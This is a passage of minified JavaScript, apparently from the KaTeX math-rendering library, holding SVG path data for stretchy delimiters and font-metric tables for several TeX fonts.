+1c0,0,5,0,5,0c10.7,0,16.7,-2,18,-6c2,-2.7,1,-9.7,-3,-21c-32,-87.3,-82.7,-157.7, +-152,-211c0,0,-3,-3,-3,-3l399907,0l0,-40c-399126,0,-399993,0,-399993,0z +M93 435 v40 H400000 v-40z M500 241 v40 H400000 v-40z M500 241 v40 H400000 v-40z`,shortrightharpoonabovebar:`M53,241l0,40c398570,0,399437,0,399437,0 +c4.7,-4.7,7,-9.3,7,-14c0,-9.3,-3.7,-15.3,-11,-18c-92.7,-56.7,-159,-133.7,-199, +-231c-3.3,-9.3,-6,-14.7,-8,-16c-2,-1.3,-7,-2,-15,-2c-10.7,0,-16.7,2,-18,6 +c-2,2.7,-1,9.7,3,21c15.3,42,36.7,81.8,64,119.5c27.3,37.7,58,69.2,92,94.5z +M500 241 v40 H399408 v-40z M500 435 v40 H400000 v-40z`},vTe=o(function(e,r){switch(e){case"lbrack":return"M403 1759 V84 H666 V0 H319 V1759 v"+r+` v1759 h347 v-84 +H403z M403 1759 V0 H319 V1759 v`+r+" v1759 h84z";case"rbrack":return"M347 1759 V0 H0 V84 H263 V1759 v"+r+` v1759 H0 v84 H347z +M347 1759 V0 H263 V1759 v`+r+" v1759 h84z";case"vert":return"M145 15 v585 v"+r+` v585 c2.667,10,9.667,15,21,15 +c10,0,16.667,-5,20,-15 v-585 v`+-r+` v-585 c-2.667,-10,-9.667,-15,-21,-15 +c-10,0,-16.667,5,-20,15z M188 15 H145 v585 v`+r+" v585 h43z";case"doublevert":return"M145 15 v585 v"+r+` v585 c2.667,10,9.667,15,21,15 +c10,0,16.667,-5,20,-15 v-585 v`+-r+` v-585 c-2.667,-10,-9.667,-15,-21,-15 +c-10,0,-16.667,5,-20,15z M188 15 H145 v585 v`+r+` v585 h43z +M367 15 v585 v`+r+` v585 c2.667,10,9.667,15,21,15 +c10,0,16.667,-5,20,-15 v-585 v`+-r+` v-585 c-2.667,-10,-9.667,-15,-21,-15 +c-10,0,-16.667,5,-20,15z M410 15 H367 v585 v`+r+" v585 h43z";case"lfloor":return"M319 602 V0 H403 V602 v"+r+` v1715 h263 v84 H319z +MM319 602 V0 H403 V602 v`+r+" v1715 H319z";case"rfloor":return"M319 602 V0 H403 V602 v"+r+` v1799 H0 v-84 H319z +MM319 602 V0 H403 V602 v`+r+" v1715 H319z";case"lceil":return"M403 1759 V84 H666 V0 H319 V1759 v"+r+` v602 h84z +M403 1759 V0 H319 V1759 v`+r+" v602 h84z";case"rceil":return"M347 1759 V0 H0 V84 H263 V1759 v"+r+` v602 h84z +M347 1759 V0 h-84 V1759 v`+r+" v602 h84z";case"lparen":return`M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1 +c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349, +-36,557 l0,`+(r+84)+`c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210, +949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9 +c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5, +-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189 +l0,-`+(r+92)+`c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3, +-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z`;case"rparen":return`M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3, +63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5 +c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,`+(r+9)+` +c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664 +c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11 +c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17 +c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558 +l0,-`+(r+144)+`c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7, +-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z`;default:throw new Error("Unknown stretchy delimiter.")}},"tallDelim"),hd=class{static{o(this,"DocumentFragment")}constructor(e){this.children=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,this.children=e,this.classes=[],this.height=0,this.depth=0,this.maxFontSize=0,this.style={}}hasClass(e){return er.contains(this.classes,e)}toNode(){for(var e=document.createDocumentFragment(),r=0;rr.toText(),"toText");return this.children.map(e).join("")}},Ql={"AMS-Regular":{32:[0,0,0,0,.25],65:[0,.68889,0,0,.72222],66:[0,.68889,0,0,.66667],67:[0,.68889,0,0,.72222],68:[0,.68889,0,0,.72222],69:[0,.68889,0,0,.66667],70:[0,.68889,0,0,.61111],71:[0,.68889,0,0,.77778],72:[0,.68889,0,0,.77778],73:[0,.68889,0,0,.38889],74:[.16667,.68889,0,0,.5],75:[0,.68889,0,0,.77778],76:[0,.68889,0,0,.66667],77:[0,.68889,0,0,.94445],78:[0,.68889,0,0,.72222],79:[.16667,.68889,0,0,.77778],80:[0,.68889,0,0,.61111],81:[.16667,.68889,0,0,.77778],82:[0,.68889,0,0,.72222],83:[0,.68889,0,0,.55556],84:[0,.68889,0,0,.66667],85:[0,.68889,0,0,.72222],86:[0,.68889,0,0,.72222],87:[0,.68889,0,0,1],88:[0,.68889,0,0,.72222],89:[0,.68889,0,0,.72222],90:[0,.68889,0,0,.66667],107:[0,.68889,0,0,.55556],160:[0,0,0,0,.25],165:[0,.675,.025,0,.75],174:[.15559,.69224,0,0,.94666],240:[0,.68889,0,0,.55556],295:[0,.68889,0,0,.54028],710:[0,.825,0,0,2.33334],732:[0,.9,0,0,2.33334],770:[0,.825,0,0,2.33334],771:[0,.9,0,0,2.33334],989:[.08167,.58167,0,0,.77778],1008:[0,.43056,.04028,0,.66667],8245:[0,.54986,0,0,.275],8463:[0,.68889,0,0,.54028],8487:[0,.68889,0,0,.72222],8498:[0,.68889,0,0,.55556],8502:[0,.68889,0,0,.66667],8503:[0,.68889,0,0,.44445],8504:[0,.68889,0,0,.66667],8513:[0,.68889,0,0,.63889],8592:[-.03598,.46402,0,0,.5],8594:[-.03598,.46402,0,0,.5],8602:[-.13313,.36687,0,0,1],8603:[-.13313,.36687,0,0,1],8606:[.01354,.52239,0,0,1],8608:[.01354,.52239,0,0,1],8610:[.01354,.52239,0,0,1.11111],8611:[.01354,.52239,0,0,1.11111],8619:[0,.54986,0,0,1],8620:[0,.54986,0,0,1],8621:[-.13313,.37788,0,0,1.38889],8622:[-.13313,.36687,0,0,1],8624:[0,.69224,0,0,.5],8625:[0,.69224,0,0,.5],8630:[0,.43056,0,0,1],8631:[0,.43056,0,0,1],8634:[.08198,.58198,0,0,.77778],8635:[.08198,.58198,0,0,.77778],8638:[.19444,.69224,0,0,.41667],8639:[.19444,.69224,0,0,.41667],8642:[.19444,.69224,0,0,.41667],8643:[.19444,.69224,0,0,.41667],8644:[.1808,.675,0,0,1],8646:[.1808,.675,0,0,1],8647:[.1808,.675,0,0,1],8648:[.19444,.69224,0,0,.83334],8649:[.1808,.675,0,0,1],8650:[.19444,.69224,0,0,.83334],8651:[.01354,.52239,0,0,1],8652:[.01354,.52239,0,0,1],8653:[-.13313,.36687,0,0,1],8654:[-.13313,.36687,0,0,1],8655:[-.13313,.36687,0,0,1],8666:[.13667,.63667,0,0,1],8667:[.13667,.63667,0,0,1],8669:[-.13313,.37788,0,0,1],8672:[-.064,.437,0,0,1.334],8674:[-.064,.437,0,0,1.334],8705:[0,.825,0,0,.5],8708:[0,.68889,0,0,.55556],8709:[.08167,.58167,0,0,.77778],8717:[0,.43056,0,0,.42917],8722:[-.03598,.46402,0,0,.5],8724:[.08198,.69224,0,0,.77778],8726:[.08167,.58167,0,0,.77778],8733:[0,.69224,0,0,.77778],8736:[0,.69224,0,0,.72222],8737:[0,.69224,0,0,.72222],8738:[.03517,.52239,0,0,.72222],8739:[.08167,.58167,0,0,.22222],8740:[.25142,.74111,0,0,.27778],8741:[.08167,.58167,0,0,.38889],8742:[.25142,.74111,0,0,.5],8756:[0,.69224,0,0,.66667],8757:[0,.69224,0,0,.66667],8764:[-.13313,.36687,0,0,.77778],8765:[-.13313,.37788,0,0,.77778],8769:[-.13313,.36687,0,0,.77778],8770:[-.03625,.46375,0,0,.77778],8774:[.30274,.79383,0,0,.77778],8776:[-.01688,.48312,0,0,.77778],8778:[.08167,.58167,0,0,.77778],8782:[.06062,.54986,0,0,.77778],8783:[.06062,.54986,0,0,.77778],8785:[.08198,.58198,0,0,.77778],8786:[.08198,.58198,0,0,.77778],8787:[.08198,.58198,0,0,.77778],8790:[0,.69224,0,0,.77778],8791:[.22958,.72958,0,0,.77778],8796:[.08198,.91667,0,0,.77778],8806:[.25583,.75583,0,0,.77778],8807:[.25583,.75583,0,0,.77778],8808:[.25142,.75726,0,0,.77778],8809:[.25142,.75726,0,0,.77778],8812:[.25583,.75583,0,0,.5],8814:[.20576,.70576,0,0,.77778],8815:[.20576,.70576,0,0,.77778],8816:[.30274,.79383,0,0,.77778],8817:[.30274,.79383,0,0,.77778],8818:[.22958,.72958,0,0,.77778],8819:[.22958,.72958,0,0,.77778],8822:[.1808,.675,0,0,.77778],8823:[.1808,.675,0,0,.77778],8828:[.13667,.63667,0,0,.77778],8829:[.13667,.63667,0,0,.77778],8830:[.22958,.72958,0,0,.77778],8831:[.22958,.72958,0,0,.77778],8832:[.20576,.70576,0,0,.77778],8833:[.20576,.70576,0,0,.77778],8840:[.30274,.79383,0,0,.77778],8841:[.30274,.79383,0,0,.77778],8842:[.13597,.63597,0,0,.77778],8843:[.13597,.63597,0,0,.77778],8847:[.03517,.54986,0,0,.77778],8848:[.03517,.54986,0,0,.77778],8858:[.08198,.58198,0,0,.77778],8859:[.08198,.58198,0,0,.77778],8861:[.08198,.58198,0,0,.77778],8862:[0,.675,0,0,.77778],8863:[0,.675,0,0,.77778],8864:[0,.675,0,0,.77778],8865:[0,.675,0,0,.77778],8872:[0,.69224,0,0,.61111],8873:[0,.69224,0,0,.72222],8874:[0,.69224,0,0,.88889],8876:[0,.68889,0,0,.61111],8877:[0,.68889,0,0,.61111],8878:[0,.68889,0,0,.72222],8879:[0,.68889,0,0,.72222],8882:[.03517,.54986,0,0,.77778],8883:[.03517,.54986,0,0,.77778],8884:[.13667,.63667,0,0,.77778],8885:[.13667,.63667,0,0,.77778],8888:[0,.54986,0,0,1.11111],8890:[.19444,.43056,0,0,.55556],8891:[.19444,.69224,0,0,.61111],8892:[.19444,.69224,0,0,.61111],8901:[0,.54986,0,0,.27778],8903:[.08167,.58167,0,0,.77778],8905:[.08167,.58167,0,0,.77778],8906:[.08167,.58167,0,0,.77778],8907:[0,.69224,0,0,.77778],8908:[0,.69224,0,0,.77778],8909:[-.03598,.46402,0,0,.77778],8910:[0,.54986,0,0,.76042],8911:[0,.54986,0,0,.76042],8912:[.03517,.54986,0,0,.77778],8913:[.03517,.54986,0,0,.77778],8914:[0,.54986,0,0,.66667],8915:[0,.54986,0,0,.66667],8916:[0,.69224,0,0,.66667],8918:[.0391,.5391,0,0,.77778],8919:[.0391,.5391,0,0,.77778],8920:[.03517,.54986,0,0,1.33334],8921:[.03517,.54986,0,0,1.33334],8922:[.38569,.88569,0,0,.77778],8923:[.38569,.88569,0,0,.77778],8926:[.13667,.63667,0,0,.77778],8927:[.13667,.63667,0,0,.77778],8928:[.30274,.79383,0,0,.77778],8929:[.30274,.79383,0,0,.77778],8934:[.23222,.74111,0,0,.77778],8935:[.23222,.74111,0,0,.77778],8936:[.23222,.74111,0,0,.77778],8937:[.23222,.74111,0,0,.77778],8938:[.20576,.70576,0,0,.77778],8939:[.20576,.70576,0,0,.77778],8940:[.30274,.79383,0,0,.77778],8941:[.30274,.79383,0,0,.77778],8994:[.19444,.69224,0,0,.77778],8995:[.19444,.69224,0,0,.77778],9416:[.15559,.69224,0,0,.90222],9484:[0,.69224,0,0,.5],9488:[0,.69224,0,0,.5],9492:[0,.37788,0,0,.5],9496:[0,.37788,0,0,.5],9585:[.19444,.68889,0,0,.88889],9586:[.19444,.74111,0,0,.88889],9632:[0,.675,0,0,.77778],9633:[0,.675,0,0,.77778],9650:[0,.54986,0,0,.72222],9651:[0,.54986,0,0,.72222],9654:[.03517,.54986,0,0,.77778],9660:[0,.54986,0,0,.72222],9661:[0,.54986,0,0,.72222],9664:[.03517,.54986,0,0,.77778],9674:[.11111,.69224,0,0,.66667],9733:[.19444,.69224,0,0,.94445],10003:[0,.69224,0,0,.83334],10016:[0,.69224,0,0,.83334],10731:[.11111,.69224,0,0,.66667],10846:[.19444,.75583,0,0,.61111],10877:[.13667,.63667,0,0,.77778],10878:[.13667,.63667,0,0,.77778],10885:[.25583,.75583,0,0,.77778],10886:[.25583,.75583,0,0,.77778],10887:[.13597,.63597,0,0,.77778],10888:[.13597,.63597,0,0,.77778],10889:[.26167,.75726,0,0,.77778],10890:[.26167,.75726,0,0,.77778],10891:[.48256,.98256,0,0,.77778],10892:[.48256,.98256,0,0,.77778],10901:[.13667,.63667,0,0,.77778],10902:[.13667,.63667,0,0,.77778],10933:[.25142,.75726,0,0,.77778],10934:[.25142,.75726,0,0,.77778],10935:[.26167,.75726,0,0,.77778],10936:[.26167,.75726,0,0,.77778],10937:[.26167,.75726,0,0,.77778],10938:[.26167,.75726,0,0,.77778],10949:[.25583,.75583,0,0,.77778],10950:[.25583,.75583,0,0,.77778],10955:[.28481,.79383,0,0,.77778],10956:[.28481,.79383,0,0,.77778],57350:[.08167,.58167,0,0,.22222],57351:[.08167,.58167,0,0,.38889],57352:[.08167,.58167,0,0,.77778],57353:[0,.43056,.04028,0,.66667],57356:[.25142,.75726,0,0,.77778],57357:[.25142,.75726,0,0,.77778],57358:[.41951,.91951,0,0,.77778],57359:[.30274,.79383,0,0,.77778],57360:[.30274,.79383,0,0,.77778],57361:[.41951,.91951,0,0,.77778],57366:[.25142,.75726,0,0,.77778],57367:[.25142,.75726,0,0,.77778],57368:[.25142,.75726,0,0,.77778],57369:[.25142,.75726,0,0,.77778],57370:[.13597,.63597,0,0,.77778],57371:[.13597,.63597,0,0,.77778]},"Caligraphic-Regular":{32:[0,0,0,0,.25],65:[0,.68333,0,.19445,.79847],66:[0,.68333,.03041,.13889,.65681],67:[0,.68333,.05834,.13889,.52653],68:[0,.68333,.02778,.08334,.77139],69:[0,.68333,.08944,.11111,.52778],70:[0,.68333,.09931,.11111,.71875],71:[.09722,.68333,.0593,.11111,.59487],72:[0,.68333,.00965,.11111,.84452],73:[0,.68333,.07382,0,.54452],74:[.09722,.68333,.18472,.16667,.67778],75:[0,.68333,.01445,.05556,.76195],76:[0,.68333,0,.13889,.68972],77:[0,.68333,0,.13889,1.2009],78:[0,.68333,.14736,.08334,.82049],79:[0,.68333,.02778,.11111,.79611],80:[0,.68333,.08222,.08334,.69556],81:[.09722,.68333,0,.11111,.81667],82:[0,.68333,0,.08334,.8475],83:[0,.68333,.075,.13889,.60556],84:[0,.68333,.25417,0,.54464],85:[0,.68333,.09931,.08334,.62583],86:[0,.68333,.08222,0,.61278],87:[0,.68333,.08222,.08334,.98778],88:[0,.68333,.14643,.13889,.7133],89:[.09722,.68333,.08222,.08334,.66834],90:[0,.68333,.07944,.13889,.72473],160:[0,0,0,0,.25]},"Fraktur-Regular":{32:[0,0,0,0,.25],33:[0,.69141,0,0,.29574],34:[0,.69141,0,0,.21471],38:[0,.69141,0,0,.73786],39:[0,.69141,0,0,.21201],40:[.24982,.74947,0,0,.38865],41:[.24982,.74947,0,0,.38865],42:[0,.62119,0,0,.27764],43:[.08319,.58283,0,0,.75623],44:[0,.10803,0,0,.27764],45:[.08319,.58283,0,0,.75623],46:[0,.10803,0,0,.27764],47:[.24982,.74947,0,0,.50181],48:[0,.47534,0,0,.50181],49:[0,.47534,0,0,.50181],50:[0,.47534,0,0,.50181],51:[.18906,.47534,0,0,.50181],52:[.18906,.47534,0,0,.50181],53:[.18906,.47534,0,0,.50181],54:[0,.69141,0,0,.50181],55:[.18906,.47534,0,0,.50181],56:[0,.69141,0,0,.50181],57:[.18906,.47534,0,0,.50181],58:[0,.47534,0,0,.21606],59:[.12604,.47534,0,0,.21606],61:[-.13099,.36866,0,0,.75623],63:[0,.69141,0,0,.36245],65:[0,.69141,0,0,.7176],66:[0,.69141,0,0,.88397],67:[0,.69141,0,0,.61254],68:[0,.69141,0,0,.83158],69:[0,.69141,0,0,.66278],70:[.12604,.69141,0,0,.61119],71:[0,.69141,0,0,.78539],72:[.06302,.69141,0,0,.7203],73:[0,.69141,0,0,.55448],74:[.12604,.69141,0,0,.55231],75:[0,.69141,0,0,.66845],76:[0,.69141,0,0,.66602],77:[0,.69141,0,0,1.04953],78:[0,.69141,0,0,.83212],79:[0,.69141,0,0,.82699],80:[.18906,.69141,0,0,.82753],81:[.03781,.69141,0,0,.82699],82:[0,.69141,0,0,.82807],83:[0,.69141,0,0,.82861],84:[0,.69141,0,0,.66899],85:[0,.69141,0,0,.64576],86:[0,.69141,0,0,.83131],87:[0,.69141,0,0,1.04602],88:[0,.69141,0,0,.71922],89:[.18906,.69141,0,0,.83293],90:[.12604,.69141,0,0,.60201],91:[.24982,.74947,0,0,.27764],93:[.24982,.74947,0,0,.27764],94:[0,.69141,0,0,.49965],97:[0,.47534,0,0,.50046],98:[0,.69141,0,0,.51315],99:[0,.47534,0,0,.38946],100:[0,.62119,0,0,.49857],101:[0,.47534,0,0,.40053],102:[.18906,.69141,0,0,.32626],103:[.18906,.47534,0,0,.5037],104:[.18906,.69141,0,0,.52126],105:[0,.69141,0,0,.27899],106:[0,.69141,0,0,.28088],107:[0,.69141,0,0,.38946],108:[0,.69141,0,0,.27953],109:[0,.47534,0,0,.76676],110:[0,.47534,0,0,.52666],111:[0,.47534,0,0,.48885],112:[.18906,.52396,0,0,.50046],113:[.18906,.47534,0,0,.48912],114:[0,.47534,0,0,.38919],115:[0,.47534,0,0,.44266],116:[0,.62119,0,0,.33301],117:[0,.47534,0,0,.5172],118:[0,.52396,0,0,.5118],119:[0,.52396,0,0,.77351],120:[.18906,.47534,0,0,.38865],121:[.18906,.47534,0,0,.49884],122:[.18906,.47534,0,0,.39054],160:[0,0,0,0,.25],8216:[0,.69141,0,0,.21471],8217:[0,.69141,0,0,.21471],58112:[0,.62119,0,0,.49749],58113:[0,.62119,0,0,.4983],58114:[.18906,.69141,0,0,.33328],58115:[.18906,.69141,0,0,.32923],58116:[.18906,.47534,0,0,.50343],58117:[0,.69141,0,0,.33301],58118:[0,.62119,0,0,.33409],58119:[0,.47534,0,0,.50073]},"Main-Bold":{32:[0,0,0,0,.25],33:[0,.69444,0,0,.35],34:[0,.69444,0,0,.60278],35:[.19444,.69444,0,0,.95833],36:[.05556,.75,0,0,.575],37:[.05556,.75,0,0,.95833],38:[0,.69444,0,0,.89444],39:[0,.69444,0,0,.31944],40:[.25,.75,0,0,.44722],41:[.25,.75,0,0,.44722],42:[0,.75,0,0,.575],43:[.13333,.63333,0,0,.89444],44:[.19444,.15556,0,0,.31944],45:[0,.44444,0,0,.38333],46:[0,.15556,0,0,.31944],47:[.25,.75,0,0,.575],48:[0,.64444,0,0,.575],49:[0,.64444,0,0,.575],50:[0,.64444,0,0,.575],51:[0,.64444,0,0,.575],52:[0,.64444,0,0,.575],53:[0,.64444,0,0,.575],54:[0,.64444,0,0,.575],55:[0,.64444,0,0,.575],56:[0,.64444,0,0,.575],57:[0,.64444,0,0,.575],58:[0,.44444,0,0,.31944],59:[.19444,.44444,0,0,.31944],60:[.08556,.58556,0,0,.89444],61:[-.10889,.39111,0,0,.89444],62:[.08556,.58556,0,0,.89444],63:[0,.69444,0,0,.54305],64:[0,.69444,0,0,.89444],65:[0,.68611,0,0,.86944],66:[0,.68611,0,0,.81805],67:[0,.68611,0,0,.83055],68:[0,.68611,0,0,.88194],69:[0,.68611,0,0,.75555],70:[0,.68611,0,0,.72361],71:[0,.68611,0,0,.90416],72:[0,.68611,0,0,.9],73:[0,.68611,0,0,.43611],74:[0,.68611,0,0,.59444],75:[0,.68611,0,0,.90138],76:[0,.68611,0,0,.69166],77:[0,.68611,0,0,1.09166],78:[0,.68611,0,0,.9],79:[0,.68611,0,0,.86388],80:[0,.68611,0,0,.78611],81:[.19444,.68611,0,0,.86388],82:[0,.68611,0,0,.8625],83:[0,.68611,0,0,.63889],84:[0,.68611,0,0,.8],85:[0,.68611,0,0,.88472],86:[0,.68611,.01597,0,.86944],87:[0,.68611,.01597,0,1.18888],88:[0,.68611,0,0,.86944],89:[0,.68611,.02875,0,.86944],90:[0,.68611,0,0,.70277],91:[.25,.75,0,0,.31944],92:[.25,.75,0,0,.575],93:[.25,.75,0,0,.31944],94:[0,.69444,0,0,.575],95:[.31,.13444,.03194,0,.575],97:[0,.44444,0,0,.55902],98:[0,.69444,0,0,.63889],99:[0,.44444,0,0,.51111],100:[0,.69444,0,0,.63889],101:[0,.44444,0,0,.52708],102:[0,.69444,.10903,0,.35139],103:[.19444,.44444,.01597,0,.575],104:[0,.69444,0,0,.63889],105:[0,.69444,0,0,.31944],106:[.19444,.69444,0,0,.35139],107:[0,.69444,0,0,.60694],108:[0,.69444,0,0,.31944],109:[0,.44444,0,0,.95833],110:[0,.44444,0,0,.63889],111:[0,.44444,0,0,.575],112:[.19444,.44444,0,0,.63889],113:[.19444,.44444,0,0,.60694],114:[0,.44444,0,0,.47361],115:[0,.44444,0,0,.45361],116:[0,.63492,0,0,.44722],117:[0,.44444,0,0,.63889],118:[0,.44444,.01597,0,.60694],119:[0,.44444,.01597,0,.83055],120:[0,.44444,0,0,.60694],121:[.19444,.44444,.01597,0,.60694],122:[0,.44444,0,0,.51111],123:[.25,.75,0,0,.575],124:[.25,.75,0,0,.31944],125:[.25,.75,0,0,.575],126:[.35,.34444,0,0,.575],160:[0,0,0,0,.25],163:[0,.69444,0,0,.86853],168:[0,.69444,0,0,.575],172:[0,.44444,0,0,.76666],176:[0,.69444,0,0,.86944],177:[.13333,.63333,0,0,.89444],184:[.17014,0,0,0,.51111],198:[0,.68611,0,0,1.04166],215:[.13333,.63333,0,0,.89444],216:[.04861,.73472,0,0,.89444],223:[0,.69444,0,0,.59722],230:[0,.44444,0,0,.83055],247:[.13333,.63333,0,0,.89444],248:[.09722,.54167,0,0,.575],305:[0,.44444,0,0,.31944],338:[0,.68611,0,0,1.16944],339:[0,.44444,0,0,.89444],567:[.19444,.44444,0,0,.35139],710:[0,.69444,0,0,.575],711:[0,.63194,0,0,.575],713:[0,.59611,0,0,.575],714:[0,.69444,0,0,.575],715:[0,.69444,0,0,.575],728:[0,.69444,0,0,.575],729:[0,.69444,0,0,.31944],730:[0,.69444,0,0,.86944],732:[0,.69444,0,0,.575],733:[0,.69444,0,0,.575],915:[0,.68611,0,0,.69166],916:[0,.68611,0,0,.95833],920:[0,.68611,0,0,.89444],923:[0,.68611,0,0,.80555],926:[0,.68611,0,0,.76666],928:[0,.68611,0,0,.9],931:[0,.68611,0,0,.83055],933:[0,.68611,0,0,.89444],934:[0,.68611,0,0,.83055],936:[0,.68611,0,0,.89444],937:[0,.68611,0,0,.83055],8211:[0,.44444,.03194,0,.575],8212:[0,.44444,.03194,0,1.14999],8216:[0,.69444,0,0,.31944],8217:[0,.69444,0,0,.31944],8220:[0,.69444,0,0,.60278],8221:[0,.69444,0,0,.60278],8224:[.19444,.69444,0,0,.51111],8225:[.19444,.69444,0,0,.51111],8242:[0,.55556,0,0,.34444],8407:[0,.72444,.15486,0,.575],8463:[0,.69444,0,0,.66759],8465:[0,.69444,0,0,.83055],8467:[0,.69444,0,0,.47361],8472:[.19444,.44444,0,0,.74027],8476:[0,.69444,0,0,.83055],8501:[0,.69444,0,0,.70277],8592:[-.10889,.39111,0,0,1.14999],8593:[.19444,.69444,0,0,.575],8594:[-.10889,.39111,0,0,1.14999],8595:[.19444,.69444,0,0,.575],8596:[-.10889,.39111,0,0,1.14999],8597:[.25,.75,0,0,.575],8598:[.19444,.69444,0,0,1.14999],8599:[.19444,.69444,0,0,1.14999],8600:[.19444,.69444,0,0,1.14999],8601:[.19444,.69444,0,0,1.14999],8636:[-.10889,.39111,0,0,1.14999],8637:[-.10889,.39111,0,0,1.14999],8640:[-.10889,.39111,0,0,1.14999],8641:[-.10889,.39111,0,0,1.14999],8656:[-.10889,.39111,0,0,1.14999],8657:[.19444,.69444,0,0,.70277],8658:[-.10889,.39111,0,0,1.14999],8659:[.19444,.69444,0,0,.70277],8660:[-.10889,.39111,0,0,1.14999],8661:[.25,.75,0,0,.70277],8704:[0,.69444,0,0,.63889],8706:[0,.69444,.06389,0,.62847],8707:[0,.69444,0,0,.63889],8709:[.05556,.75,0,0,.575],8711:[0,.68611,0,0,.95833],8712:[.08556,.58556,0,0,.76666],8715:[.08556,.58556,0,0,.76666],8722:[.13333,.63333,0,0,.89444],8723:[.13333,.63333,0,0,.89444],8725:[.25,.75,0,0,.575],8726:[.25,.75,0,0,.575],8727:[-.02778,.47222,0,0,.575],8728:[-.02639,.47361,0,0,.575],8729:[-.02639,.47361,0,0,.575],8730:[.18,.82,0,0,.95833],8733:[0,.44444,0,0,.89444],8734:[0,.44444,0,0,1.14999],8736:[0,.69224,0,0,.72222],8739:[.25,.75,0,0,.31944],8741:[.25,.75,0,0,.575],8743:[0,.55556,0,0,.76666],8744:[0,.55556,0,0,.76666],8745:[0,.55556,0,0,.76666],8746:[0,.55556,0,0,.76666],8747:[.19444,.69444,.12778,0,.56875],8764:[-.10889,.39111,0,0,.89444],8768:[.19444,.69444,0,0,.31944],8771:[.00222,.50222,0,0,.89444],8773:[.027,.638,0,0,.894],8776:[.02444,.52444,0,0,.89444],8781:[.00222,.50222,0,0,.89444],8801:[.00222,.50222,0,0,.89444],8804:[.19667,.69667,0,0,.89444],8805:[.19667,.69667,0,0,.89444],8810:[.08556,.58556,0,0,1.14999],8811:[.08556,.58556,0,0,1.14999],8826:[.08556,.58556,0,0,.89444],8827:[.08556,.58556,0,0,.89444],8834:[.08556,.58556,0,0,.89444],8835:[.08556,.58556,0,0,.89444],8838:[.19667,.69667,0,0,.89444],8839:[.19667,.69667,0,0,.89444],8846:[0,.55556,0,0,.76666],8849:[.19667,.69667,0,0,.89444],8850:[.19667,.69667,0,0,.89444],8851:[0,.55556,0,0,.76666],8852:[0,.55556,0,0,.76666],8853:[.13333,.63333,0,0,.89444],8854:[.13333,.63333,0,0,.89444],8855:[.13333,.63333,0,0,.89444],8856:[.13333,.63333,0,0,.89444],8857:[.13333,.63333,0,0,.89444],8866:[0,.69444,0,0,.70277],8867:[0,.69444,0,0,.70277],8868:[0,.69444,0,0,.89444],8869:[0,.69444,0,0,.89444],8900:[-.02639,.47361,0,0,.575],8901:[-.02639,.47361,0,0,.31944],8902:[-.02778,.47222,0,0,.575],8968:[.25,.75,0,0,.51111],8969:[.25,.75,0,0,.51111],8970:[.25,.75,0,0,.51111],8971:[.25,.75,0,0,.51111],8994:[-.13889,.36111,0,0,1.14999],8995:[-.13889,.36111,0,0,1.14999],9651:[.19444,.69444,0,0,1.02222],9657:[-.02778,.47222,0,0,.575],9661:[.19444,.69444,0,0,1.02222],9667:[-.02778,.47222,0,0,.575],9711:[.19444,.69444,0,0,1.14999],9824:[.12963,.69444,0,0,.89444],9825:[.12963,.69444,0,0,.89444],9826:[.12963,.69444,0,0,.89444],9827:[.12963,.69444,0,0,.89444],9837:[0,.75,0,0,.44722],9838:[.19444,.69444,0,0,.44722],9839:[.19444,.69444,0,0,.44722],10216:[.25,.75,0,0,.44722],10217:[.25,.75,0,0,.44722],10815:[0,.68611,0,0,.9],10927:[.19667,.69667,0,0,.89444],10928:[.19667,.69667,0,0,.89444],57376:[.19444,.69444,0,0,0]},"Main-BoldItalic":{32:[0,0,0,0,.25],33:[0,.69444,.11417,0,.38611],34:[0,.69444,.07939,0,.62055],35:[.19444,.69444,.06833,0,.94444],37:[.05556,.75,.12861,0,.94444],38:[0,.69444,.08528,0,.88555],39:[0,.69444,.12945,0,.35555],40:[.25,.75,.15806,0,.47333],41:[.25,.75,.03306,0,.47333],42:[0,.75,.14333,0,.59111],43:[.10333,.60333,.03306,0,.88555],44:[.19444,.14722,0,0,.35555],45:[0,.44444,.02611,0,.41444],46:[0,.14722,0,0,.35555],47:[.25,.75,.15806,0,.59111],48:[0,.64444,.13167,0,.59111],49:[0,.64444,.13167,0,.59111],50:[0,.64444,.13167,0,.59111],51:[0,.64444,.13167,0,.59111],52:[.19444,.64444,.13167,0,.59111],53:[0,.64444,.13167,0,.59111],54:[0,.64444,.13167,0,.59111],55:[.19444,.64444,.13167,0,.59111],56:[0,.64444,.13167,0,.59111],57:[0,.64444,.13167,0,.59111],58:[0,.44444,.06695,0,.35555],59:[.19444,.44444,.06695,0,.35555],61:[-.10889,.39111,.06833,0,.88555],63:[0,.69444,.11472,0,.59111],64:[0,.69444,.09208,0,.88555],65:[0,.68611,0,0,.86555],66:[0,.68611,.0992,0,.81666],67:[0,.68611,.14208,0,.82666],68:[0,.68611,.09062,0,.87555],69:[0,.68611,.11431,0,.75666],70:[0,.68611,.12903,0,.72722],71:[0,.68611,.07347,0,.89527],72:[0,.68611,.17208,0,.8